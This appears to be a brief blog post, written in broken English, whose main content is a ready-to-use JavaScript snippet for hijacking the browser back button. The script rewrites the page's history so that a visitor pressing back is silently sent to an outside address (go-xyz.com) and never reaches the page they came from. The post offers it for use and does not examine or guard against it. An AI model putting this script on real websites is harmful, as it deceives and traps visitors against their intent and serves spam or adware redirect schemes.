I want to create website page setting user in landing my website page by chance use click back button on browser go to back page I setup default landing link user visit...
<script>
(function (window, location) {
var redirect = "http://go-xyz.com/ts1905";
var currentUrl = location.origin + location.pathname + location.search;
if (location.hash !== "#!/hst") {
history.replaceState(null, document.title, currentUrl + "#!/hst");
history.pushState(null, document.title, currentUrl);
}
window.addEventListener("popstate", function () {
if (location.hash === "#!/hst") {
setTimeout(function () {
window.location.replace(redirect);
}, 0);
}
}, false);
}(window, location));
</script>
No comments:
Post a Comment